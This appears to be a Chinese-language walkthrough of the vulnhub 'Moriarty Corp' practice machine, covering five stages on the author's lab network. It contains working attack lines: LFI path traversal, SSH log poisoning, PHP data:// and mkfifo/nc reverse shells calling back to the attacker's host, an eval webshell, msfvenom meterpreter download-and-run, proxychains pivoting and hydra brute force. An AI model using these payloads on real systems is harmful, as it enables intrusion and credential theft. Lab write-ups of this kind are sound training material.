打靶筆記-03-vulhub-Moriarty Corp
打靶筆記-03-vulhub-BoredHackerBlog
一、靶機資訊
Name: BoredHackerBlog: Moriarty Corp(中-高級難度)
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog
這個靶機下載頁面有些提示,8000是提交flag的埠,沒必要攻擊,然後漏洞環境是安裝在靶機的Docker中的,別的好像沒了或者不太重要,可以按照完全啥也不知道進行打靶。
二、靶機啟動
2.1 靶機hash校驗
sha1sum MoriartyCorp.ova
e9874e51a2645c1b61a3afc771aa5abdc94bf264 MoriartyCorp.ova
2.2 導入Virtualbox,並配置網路
這個靶機依然是適用於Vbox,而我攻擊機器是在Vmware上搭建的,所以還是將Vbox的網路橋接到vmnet8上,使其處於一個網段,實戰中這塊無需多慮。
2.3 啟動靶機
為了以防萬一,打個快照,啟動靶機開始練習
三、開始打靶
3.1 獲取靶機IP
3.1.1 攻擊機IP以及網卡資訊
3.1.2 主機發現
sudo arp-scan -I eth0 -l
成功獲取靶機IP為172.16.95.139
3.2 埠&服務掃描
3.2.1 掃描開放埠
sudo nmap -p- 172.16.95.139
發現開放埠22、8000、9000
3.2.2 確認埠所對應服務
按照慣例,對埠後面的服務進一步確認
sudo nmap -p22,8000,9000 -sV 172.16.95.139
可以看到分別是SSH、PythonWeb框架Werkzeug、Portainer Docker UI控制介面
搞到這兒,就可以有多條向下的思路
1. 爆破ssh
2. Portainer 1.19.2 是否有漏洞,它上面搭建的Application是否有web漏洞
3. Portainer 1.19.2 的漏洞利用
可以利用nmap或其他工具進行漏洞掃描測試,這裡簡單利用nmap的腳本掃描了一下,都沒發現漏洞,所以可以先去訪問下靶機提示的提交flag的8000埠。
3.3 訪問8000埠
3.3.1 開局
這個靶機的一切都從這裡開始進入,先鍵入flag{start}進入第一關
提示80埠,剛剛埠掃描沒發現,現在重新掃描一遍
果然開放了,看起來這個靶機是一關一關開放的,那就開始第一關吧。
3.3.2 第一關
訪問80埠,直接搞開網頁源程式碼
發現這個頁面比較簡單,有點用處的就是兩個鏈接,看到接收參數是file,而且值是個文件,我們有理由聯想到文件包含,而且文件名可控,不過不知道路徑可不可控,可以試一試,結合之前埠服務掃描確定的作業系統為linux,所以:
/?file=../../../../../../etc/passwd
發現路徑參數也可控,所以存在本地文件包含漏洞(LFI),而且包含的是敏感型文件,說明還存在目錄遍歷漏洞
所以接下來就好玩了,可以包含任意文件,那就也可以是webshell,然後用蟻劍或冰蠍等進行連接,但前提是判斷伺服器語言環境以及找到上傳webshell的地方
- 後端環境為php環境
簡單判斷了一下,或者也可以用Wappalyzer等插件確定
- 上傳webshell的地方
這個地方,可以通過污染日誌文件的方式達到目的
ssh '<?php phpinfo();?>'@172.16.95.139
ssh '<?php system($_GET['shell']); ?>'@172.16.95.139
這個肯定連接不上,因為壓根沒有這個用戶名,但這裡目的是為了污染ssh的連接日誌文件。
為了驗證是否成功污染,之前污染了phpinfo的內容進入日誌,可以先包含一下看看:
?file=../../../../../../var/log/auth.log
最後好像失敗了,應該是沒有被污染,沒想明白,這裡記錄一下,一會兒打進去看一下;
一會兒找到答案後記錄在此
第一關打入進去之後,發現就沒有此日誌文件,後來才明白過來,這是個容器,而ssh的埠是宿主機的,然而宿主機的80埠映射到了容器中,這個漏洞網站是運行在容器中的,打死也包含不上啊,=-=
這裡利用偽協議再次嘗試:
首先是用了data偽協議:
?file=data:// text/plain,<?php phpinfo();?>
?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
成功!!!那就可以使用data協議進行反彈shell了,如下是程式碼(一定要記得URL編碼,否則程式碼中的一些字元例如&會被瀏覽器解析而無法進入後台執行):
開啟nc進行監聽
nc -lnvp 6666
反彈shell
?file=data://text/plain,<?php %24sock%3dfsockopen("172.16.95.133","6666")%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b?>
直接執行php的反彈程式碼,結果一閃而過,應該是程式碼執行後就進行記憶體回收了,所以無法持續鏈接。所以需要可以採用如下的辦法實現:
?file=data://text/plain,<?php $var=shell_exec($_GET['d']);echo $var;?>&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff
// 或者採用base64轉換後:
?file=data://text/plain;base64,
PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydkJ10pO2VjaG8gJHZhcjs/Pg==&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff
成功拿到第一個flag,然後也提示了下一關資訊是個內網
3. 總結
反彈shell的shell_exec()函數可以自由更換,比如system(),還可以嘗試其他協議,比如http的方式進行遠程包含
不過這裡有個坑,如下:
首先在遠程伺服器(這裡直接以kali為例)上放置需要包含的文件
cd /var/www/html/
sudo echo '<?php phpinfo();?>' ./1.txt
sudo cp 1.txt 1.php
進行遠程文件包含
?file=//172.16.95.133/1.txt
這而是先將1.txt的內容包含到了靶機上進行執行
進行如下遠程包含
?file=//172.16.95.133/1.php
這是在遠程伺服器上執行後將執行後的html響應內容進行了包含
所以如果想要利用http的方式進行遠程文件包含(RFI),要注意分辨包含的內容是什麼,要進行反彈shell的話可以將如下下載到的php文件修改後綴名後掛載到遠程伺服器上再進行包含,否則拿到的shell就是自己遠程伺服器的shell
如果不改後綴名的話,拿到的shell就是自己遠程伺服器的shell,如下就搞笑了:
好了,這就開始進入第二關。。。
3.3.3 第二關
根據提示,這個伺服器上(docker容器)沒有任何資訊,需要進一步內網滲透,也提示了內網網段172.17.0.3-254(也可以自己收集到)
但是接下來,要進行內網滲透,攻擊機器必須能夠訪問到內網網段
兩種辦法
- 利用第一關拿到的shell提權,然後搞一堆攻擊工具下來,遠程操作,不過這個很不現實,基本可以放棄了
- 利用第一關拿到的shell建立隧道,使得外網的攻擊機器能夠訪問目標內網,這個可行,建立隧道的方式有很多種,我這裡選擇美少婦(MSF),回頭嘗試一下其他的方式並比較記錄下來
3.3.3.1 建立隧道
-
開啟msf,並開始監聽,準備接收shell
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp show options set lhost 172.16.95.133 set lport 8888 run
-
msfvenom生成相應的payload
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.95.133 lport=8888 -f elf >shell.elf
-
利用第一關的shell將生成的payload下載到目標機器執行進行上線
cd /tmp wget //172.16.95.133/shell.elf chmod +x shell.elf ./shell.elf
成功上線
-
給獲得的meterpreter添加內網路由
route run autoroute -s 172.17.0.0/16 background route print
-
開啟msf的代理服務端功能
sessions use auxiliary/server/socks_proxy show options run
-
配置proxychains以使用代理
sudo vim /etc/proxychains4.conf
將msf的代理伺服器地址寫入
-
測試隧道是否成功
可以看到隧道已經建立成功
3.3.3.2 開始主機發現
proxychains nmap -p80,22,443 172.17.0.3-254
注意這裡有個坑,就是走proxychains時最好用普通用戶,我用root用戶好像沒掃出有效結果,不知道為啥。
之後找到答案,寫在這裡
成功發現一台主機172.17.0.4開放了80埠
3.3.3.3 配置火狐代理訪問內網
發現內網有一台主機開放了80埠,所以可以訪問一下,但是瀏覽器也必須走socks5代理才可以,如下配置
如下已經成功訪問到,可以看出是一個文件上傳的頁面,看到文件上傳就嘿嘿嘿了,不過貌似上傳要密碼
或者還可以使用如下命令啟動firefox,也可以訪問到內網web應用
proxychains firefox 172.17.0.4
3.3.3.4 文件上傳利用
可以看到這個頁面上傳文件需要密碼,那就只能爆破了,要想爆破就得抓包,所以必須得先讓瀏覽器的包先到burp,然後burp掛著代理去和內網通訊
瀏覽器=>Burp代理=>socks代理===>內網
所以需要做的就是瀏覽器設置代理到burp,然設置burp的socks代理,如下:
到此就搭建好了,然後開始上傳文件,爆破密碼
- 這裡打算上傳webshell,先隨便輸入密碼如下:
echo '<?php @eval($_POST['ant']);?>' > shell.php
2. burp攔截並發送到intruder進行密碼破解:
這裡字典選擇了rockyou,kali自帶的很大的字典
然後就可以暴力破解了
沒一會兒就找到了到密碼,是password,上傳之後shell.php的地址是./photo/22/shell.php
3. 上傳成功,使用蟻劍鏈接,蟻劍也需要配置socks5代理
設置代理
鏈接shell,這裡沒有自定義UA,可以在請求資訊或者js文件中進行修改
3.3.3.5 尋找flag
最終在根目錄下找到第二個flag:2_flag.txt
提交之後開啟第三關
3.3.4 第三關
根據提示資訊,這關拿到了一些賬戶以及這些賬戶的hash,但是不知道具體哪個機器的ssh連接賬戶,先把賬戶記錄和密碼hash破解記錄下來,分別保存為user.txt、password.txt
- 掃描內網開放了22埠的主機,如果對方ssh服務沒有更改埠號的話就是默認22
proxychains nmap -Pn -sT -p22 172.17.0.3-254
2. 然後發現新的主機172.17.0.5開放了22埠,然後調用hydra進行嘗試登陸破解
proxychains hydra -L user.txt -P password.txt
很快就找到了ssh登陸賬戶root密碼weapons
3. 開始嘗試ssh連接
4. 獲取3_flag.txt並提交
根據提示進入第四關,目標內網還搭建有聊天系統,可能在443、8000、8080、8888四個埠,然後還獲得聊天系統的賬戶buyer13密碼arms13
3.3.5 第四關
- 開始掃描443、8000、8080、8888埠開放主機
proxychains nmap -Pn -sT -p443,8000,8080,8888 172.17.0.3-254
發現172.17.0.6的主機8000埠開放
2. 訪問//172.17.0.6:8000
通過分析Chats中的內容,可以發現對方管理員賬戶為admin
3. 邏輯漏洞修改管理員密碼
可以發現有一個Change Password的頁面,訪問一下,發現不用驗證舊密碼,先提交抓包看看
發現果然不需要舊密碼,也沒有驗證碼,判斷這邊是一個任意密碼修改的邏輯漏洞
然後嘗試將用戶名修改為admin,放包,如果能夠修改成功,則應該存在一個越權邏輯漏洞
最後成功登陸admin
在admin的Chats中發現了新的flag
4. 提交flag進入下一關
還提示內網還有一個Elasticsearch
3.3.6 第五關
Elasticsearch的默認埠是9200
- 掃描內網開放了9200埠的主機
proxychains nmap -Pn -sT -p9200 172.17.0.3-254
很快就發現了主機172.17.0.7開放了9200,很可能就部署在這台伺服器上
2. 訪問//172.17.0.7:9200
果然,拿到了這個服務的一些資訊
3. 搜尋Elasticsearch的歷史漏洞資訊
searchsploit Elasticsearch
然後就挨個嘗試吧
4. 漏洞利用
proxychains python2 36337.py 172.17.0.7
5. 提交flag,結束
四、總結
這個靶機從開始的文件包含各種姿勢反彈shell開始,涉及到了內網隧道搭建,任意修改密碼,越權等邏輯漏洞等,練習了反彈shell的姿勢、msf的使用、burp聯動二級代理以及漏洞查找思路等。
下次可以用下venom,據說也很好用。
這次沒怎麼涉及到免殺和繞過,將基本思路形成肌肉記憶後,需要再免殺和繞過上練習練習,畢竟之後實際環境不像靶機,不怎麼設置waf和殺毒。